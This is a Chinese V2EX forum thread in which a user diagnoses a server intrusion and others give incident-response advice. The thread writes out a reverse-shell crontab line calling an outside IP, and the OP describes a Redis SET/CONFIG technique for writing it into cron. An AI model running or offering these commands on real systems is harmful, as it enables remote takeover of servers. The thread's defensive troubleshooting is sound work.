V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
bigbigeggs
V2EX  ›  问与答

服务器被入侵了,有懂的老铁帮忙看下,万分感谢

  •  
  •   bigbigeggs · 2020-12-22 22:29:04 +08:00 · 4094 次点击
    这是一个创建于 1192 天前的主题,其中的信息可能已经有所发展或是发生改变。

    crontab 的定时任务全部被清空,换成了 如下

    "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"

    删除之后,过几秒之后,又出现在了定时任务中了。

    百度了下看起来像是 反弹 shell,可以看到你在服务器的任何行为。

    现在不知道怎么解决,不知道哪个脚本在后台执行,一直写定时任务进去。

    求有懂得老铁帮忙看下

    47 条回复    2020-12-24 19:07:11 +08:00
    bigbigeggs
        1
    bigbigeggs  
    OP
       2020-12-22 22:30:09 +08:00
    cpu,内存看起来暂时正常。不知道入侵者想干什么
    opengps
        2
    opengps  
       2020-12-22 22:41:11 +08:00
    抓紧备份数据重装系统恢复业务。
    人工清理病毒往往很难判断是否清理彻底,所以及时你清理了病毒也很难发现是否有其他隐患。
    如果你想要研究病毒,打个系统镜像,拿到别处研究
    opengps
        3
    opengps  
       2020-12-22 22:43:31 +08:00
    那个 IP 直接浏览器访问 80 端口,发现是个类似于 OA 签到的东西,像是一种后门脚本。
    那个 IP 的 8888 端口的站点直接访问提示不安全,看来有可能确实是某种防止滥用。
    opengps
        4
    opengps  
       2020-12-22 22:46:02 +08:00
    太神奇了,那个站点,有备案有作者,楼主确认下是不是正常的对外扩展功能吧。
    bigbigeggs
        5
    bigbigeggs  
    OP
       2020-12-22 22:50:29 +08:00
    @opengps 还没主意他的 ip 80 端口。感谢,已经把外网的所有端口都关掉了,直对内开放了。

    暂时还没发现入侵者的意图,把项目恢复了,先排查下问题。
    kaneg
        6
    kaneg  
       2020-12-22 22:52:37 +08:00 via iPhone
    是个反向 shell,你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的,你这边删了,另一个任务又把它重建出来了。
    你这是哪种 Linux 系统?对外有暴露哪些端口和服务?
    bigbigeggs
        7
    bigbigeggs  
    OP
       2020-12-22 23:06:51 +08:00
    @kaneg centos7. 暴露公网的端口还挺多,redis,mysql,8080 这种比较常用的都有。但都有密码,所以没考虑那么多。

    现在公网端口就留了几个必须用到的基础服务。
    bigbigeggs
        8
    bigbigeggs  
    OP
       2020-12-22 23:07:21 +08:00
    @kaneg 应该还有其他定时任务在执行,但就是找不到。也不知道想干嘛
    zszhere
        9
    zszhere  
       2020-12-22 23:14:34 +08:00 via iPhone
    这就是个反弹 shell 啊 你在对方那已经上线了
    如果没有可疑进程或者其他用户也没有 crontab 的话
    检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持
    然后检查下.ssh 目录有没有被写入公钥
    zszhere
        10
    zszhere  
       2020-12-22 23:15:19 +08:00 via iPhone
    还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码
    WordTian
        11
    WordTian  
       2020-12-22 23:22:46 +08:00 via Android   ❤️ 2
    我猜是 redis 对外开放造成的🐶
    bigbigeggs
        12
    bigbigeggs  
    OP
       2020-12-22 23:22:52 +08:00
    @zszhere .ssh 真有一条公钥,吓死我了,不知道什么时候写进去的,感谢老哥提醒。我还得在排查下其他的
    bigbigeggs
        13
    bigbigeggs  
    OP
       2020-12-22 23:25:34 +08:00
    @WordTian redis 是有对外开放的端口。但是端口不是常用的,并且有设置密码。是有项目在用 redis 塞数据,但 redis 是怎么做到 往 cront 里面写数据的? RDB 文件?
    cheng6563
        14
    cheng6563  
       2020-12-22 23:34:21 +08:00 via Android
    不用排查了,排不全的。直接备份数据格了吧
    hakono
        15
    hakono  
       2020-12-22 23:59:51 +08:00 via Android
    你那么多服务公开在外网,哪个服务有个安全漏洞不就中招了.......
    caola
        16
    caola  
       2020-12-23 00:05:28 +08:00
    还不备份数据,就等删库跑路吧
    WordTian
        17
    WordTian  
       2020-12-23 00:07:37 +08:00 via Android
    @bigbigeggs 对,rdb 文件,写公钥,覆盖 crontab 文件,常规操作了
    yuelang85
        18
    yuelang85  
       2020-12-23 00:12:22 +08:00
    @bigbigeggs redis 可以修改配置文件和保存配置文件的路径,这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。
    itabas016
        19
    itabas016  
       2020-12-23 01:17:30 +08:00 via Android
    服务器不就只应该暴露 ssh/http 端口吗?这是安全常识。
    black11black
        20
    black11black  
       2020-12-23 06:00:17 +08:00
    @WordTian 学习了,redis 对外开放还可能造成这种后果?
    steptodream
        21
    steptodream  
       2020-12-23 08:19:11 +08:00
    感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了
    alw
        22
    alw  
       2020-12-23 08:51:08 +08:00
    我之前 就是 redis 对外开放被黑过,当时不懂,找腾讯云提工单帮我查,定位到了是这个问题导致的。
    littlezzll
        23
    littlezzll  
       2020-12-23 09:02:08 +08:00 via Android
    redis 暴露公网端口一定得加密码,以普通用户启动,前一阵就被 redis 那个提权漏洞搞过
    boris93
        24
    boris93  
       2020-12-23 09:07:58 +08:00 via Android
    @opengps #3 神奇的是,8888 打开的是 OwnCloud,是个私人云盘......
    sagaxu
        25
    sagaxu  
       2020-12-23 09:12:44 +08:00 via Android
    iptables INPUT 默认策略不该是 DROP 吗?
    PbCopy111
        26
    PbCopy111  
       2020-12-23 09:15:27 +08:00
    妈呀,备案信息里什么都有啊。。。。我觉得楼主可以直接跟对方联系一下,备份服务器以后可以威胁报警了,哈哈哈哈。
    PbCopy111
        27
    PbCopy111  
       2020-12-23 09:16:23 +08:00
    你们都慢点动手啊!!!!!!!给我留点时间!!
    ferock
        28
    ferock  
       2020-12-23 09:18:09 +08:00
    一直不理解,redis 有什么必要暴露到公网???
    Dounx
        29
    Dounx  
       2020-12-23 09:24:08 +08:00
    有备案信息,备份好服务器直接报个警?
    zszhere
        30
    zszhere  
       2020-12-23 09:54:04 +08:00 via iPhone
    @bigbigeggs 附议 14 楼观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。
    k8ser
        31
    k8ser  
       2020-12-23 11:05:10 +08:00
    脚本小子,这你不报警抓他,一抓一个准,做好取证,警察叔叔过年都冲业绩呢!
    ericwood067
        32
    ericwood067  
       2020-12-23 11:19:04 +08:00
    "\n* * * * *"大佬们,这个是多久执行一次,被`\n*`给搞懵了
    ztxcccc
        33
    ztxcccc  
       2020-12-23 11:29:06 +08:00
    报警不是美滋滋
    kiracyan
        34
    kiracyan  
       2020-12-23 12:02:46 +08:00
    这人还是个搞网络安全的 github blog 备案都有 也太不小心了
    azev
        35
    azev  
       2020-12-23 12:03:37 +08:00
    @opengps 可能那个网站也被黑了 成肉鸡了
    iloveayu
        36
    iloveayu  
       2020-12-23 12:23:08 +08:00
    名字,扣扣,IP 都有了,保留好证据直接报警吧,这手法还搞网安呢也是没谁了。。。
    uselessVisitor
        37
    uselessVisitor  
       2020-12-23 13:23:55 +08:00 via Android
    你的 redis 是 root 用户吧
    bigbigeggs
        38
    bigbigeggs  
    OP
       2020-12-23 16:14:42 +08:00   ❤️ 2
    感谢各位大佬的帮助以及建议,昨晚排查到快一点,今天早上又看了看,基本搞懂了。

    首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网,具体还不清楚怎么搞到的)

    然后往 redis 里面写了一条数据,set x "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"

    然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ,日志如下:

    ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080258redis.png)

    然后他的这条 bash 命令就写进了 cron 定时任务里面去了。

    查了查定时任务的日志,大概在 12.9 日已经入侵了,但不知道入侵者的目的。

    ![redis]( https://images.cnblogs.com/cnblogs_com/wenbochang/1355057/o_201223080248cron.png)

    至今位置,cpu, 内存都一切正常,数据也没有丢失。但是应该数据库,redis,zk 等密码他全部获取到了。

    写到了环境变量里面去了,唉。

    晚上准备收集一下他的资料,准备和他谈谈,再次感谢各位大佬的帮助了。

    可以参考如下两篇文章,写的很详细:

    redis 入侵: https://www.cnblogs.com/evan-blog/p/10707087.html

    反弹 shell: https://www.cnblogs.com/bonelee/p/11021996.html
    bigbigeggs
        39
    bigbigeggs  
    OP
       2020-12-23 16:15:46 +08:00
    @beichenhpy 是的,root 用户。已经肯定了是从 redis 入侵的,修改了 dump 文件目录
    bigbigeggs
        40
    bigbigeggs  
    OP
       2020-12-23 16:17:16 +08:00
    @k8ser @ztxcccc 感觉报警有点麻烦,晚上研究下他的网址。看看能不能联系上,聊一下。
    bigbigeggs
        41
    bigbigeggs  
    OP
       2020-12-23 16:18:51 +08:00   ❤️ 1
    @WordTian @yuelang85 确定了,是通过 redis set key,然后 conf 修改了 dump 的文件目录,大意了,唉
    InkAndBanner
        42
    InkAndBanner  
       2020-12-23 17:26:04 +08:00
    redis 的问题 很常见 我的学生机曾经也被安排过
    bigbigeggs
        43
    bigbigeggs  
    OP
       2020-12-23 19:41:42 +08:00
    @iloveayu 我也查到他的 qq,姓名了,准备 qq 联系一下。还没有手机号,不知道咋搞
    CodeCodeStudy
        44
    CodeCodeStudy  
       2020-12-24 09:13:58 +08:00
    @bigbigeggs #38 反弹 shell,受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的,怎么让它在后台运行呢?我在后面加上 & 后,在攻击者机器上就看不到输入输出了。
    onice
        45
    onice  
       2020-12-24 10:21:59 +08:00
    建议备份业务和数据,重装系统。Linux 系统可以安后门的地方太多了,比如替换某个系统文件,比如常见的 ls 命令。那么多命令,鬼才知道是替换的哪一个。
    也不是说不可以排查,但排查的成本大于重装的成本。
    bigbigeggs
        46
    bigbigeggs  
    OP
       2020-12-24 12:59:19 +08:00
    @CodeCodeStudy linux 上定时任务,crontab 每分每秒都执行
    CodeCodeStudy
        47
    CodeCodeStudy  
       2020-12-24 19:07:11 +08:00
    @bigbigeggs #46 Linux 上的 crontab 只能精确到分钟,怎么让它每分每秒都执行?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   982 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 68ms · UTC 21:55 · PVG 05:55 · LAX 14:55 · JFK 17:55
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.